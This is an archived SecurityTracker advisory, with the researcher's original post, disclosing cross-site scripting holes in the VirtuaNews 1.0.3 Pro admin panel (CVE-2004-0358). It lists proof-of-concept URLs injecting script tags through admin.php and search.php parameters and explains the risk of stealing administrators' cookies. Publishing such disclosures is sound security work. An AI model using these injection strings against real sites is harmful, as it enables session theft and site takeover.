SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   VirtuaNews Vendors:   VirtuaSystems
VirtuaNews 'admin.php' Input Validation Holes Permit Remote Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1009332
SecurityTracker URL:  http://securitytracker.com/id/1009332
CVE Reference:   CVE-2004-0358   (Links to External Site)
Updated:  Mar 23 2004
Original Entry Date:  Mar 5 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 1.0.3 Pro
Description:   Rafel Ivgi (The-Insider) reported an input validation vulnerability in VirtuaNews. A remote user can conduct cross-site scripting attacks.

It is reported that the 'admin.php' script does not properly filter HTML code from user-supplied input before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the VirtuaNews software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit scripts are provided:

http://<host>/admin.php?"><script>alert('XSS')</script>

http://< host>/forum/search.php?do=process&showposts=0&query=<script>alert('XSS')</script>

http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~ "></textarea><script>alert('XSS')</script>

http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea>--><script>alert('XSS')</script>

http://<host>/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea><script>alert('XSS')</script>

http://<host>/admin.php?act ion=files&expand="><script>alert('XSS')</script>

http://<host>/admin.php?action=files_cat_delete&id="><script>alert('XSS')</script>

http://<host>/admin.php?action=f iles_check&catid="><script>alert('XSS')</script>

http://<host>/admin.php?action=newslogo_upload&"><script>alert('XSS')</script>

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the VirtuaNews software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.virtuanews.co.uk/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  VirtuaNews Admin Panel 1.0.3 Pro Cross Site Scripting Vulnerabillity


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Software:        VirtuaNews Admin Panel
Vendor:           http://www.virtuanews.co.uk
Versions:        1.0.3 Pro
Platforms:       Unix/Windows
Bug:                 Cross Site Scripting Vulnerabillity
Risk:                Medium
Exploitation:   Remote with browser
Date:               19 Feb 2004
Author:            Rafel Ivgi, The-Insider
e-mail:             the_insider@mail.com
web:                http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bug
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

VirtuaNews Admin Panel is a good administration software. Many
administrators choose it
to be their "safe door",  therefore it should strong and safe. The main risk
describes in this
advisory is the harm that could be done to the administration staff. When
the vulnerabilities
concerns the staff it is more dangerous that harming users, because if a
staff's member cookie
is stolen, the attackers can take over the website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

The Vulnerabillity is Cross Site Scripting. If an attacker will request any
of the following
urls from the server:

http://<host>/admin.php?"><script>alert('XSS')</script>
http://<host>/forum/search.php?do=process&showposts=0&query=<script>alert('X
SS')</script>
http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main
news=~~~~"></textarea><script>alert('XSS')</script>
http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main
news=~~~~"></textarea>--><script>alert('XSS')</script>
http://<host>/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&ma
innews=~~~~"></textarea><script>alert('XSS')</script>
http://<host>/admin.php?action=files&expand="><script>alert('XSS')</script>
http://<host>/admin.php?action=files_cat_delete&id="><script>alert('XSS')</s
cript>
http://<host>/admin.php?action=files_check&catid="><script>alert('XSS')</scr
ipt>
http://<host>/admin.php?action=newslogo_upload&"><script>alert('XSS')</scrip
t>

XSS appears and the server allows an attacker to inject & execute scripts.

In the words of securityfocus.com :
~~~~~~~~~~~~~~~~~~~~~~~~~~

If all of these circumstances are met, an attacker may be able to exploit
this issue
via a malicious link containing arbitrary HTML and script code as part of
the hostname.
When the malicious link is clicked by an unsuspecting user, the
attacker-supplied HTML
and script code will be executed by their web client. This will occur
because the server
will echo back the malicious hostname supplied in the client's request,
without sufficiently
escaping HTML and script code.

Attacks of this nature may make it possible for attackers to manipulate web
content or to
steal cookie-based authentication credentials. It may be possible to take
arbitrary actions as the victim user.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

http://<host>/admin.php?"><script>alert('XSS')</script>
http://<host>/forum/search.php?do=process&showposts=0&query=<script>alert('X
SS')</script>
http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main
news=~~~~"></textarea><script>alert('XSS')</script>
http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main
news=~~~~"></textarea>--><script>alert('XSS')</script>
http://<host>/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&ma
innews=~~~~"></textarea><script>alert('XSS')</script>
http://<host>/admin.php?action=files&expand="><script>alert('XSS')</script>
http://<host>/admin.php?action=files_cat_delete&id="><script>alert('XSS')</s
cript>
http://<host>/admin.php?action=files_check&catid="><script>alert('XSS')</scr
ipt>
http://<host>/admin.php?action=newslogo_upload&"><script>alert('XSS')</scrip
t>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC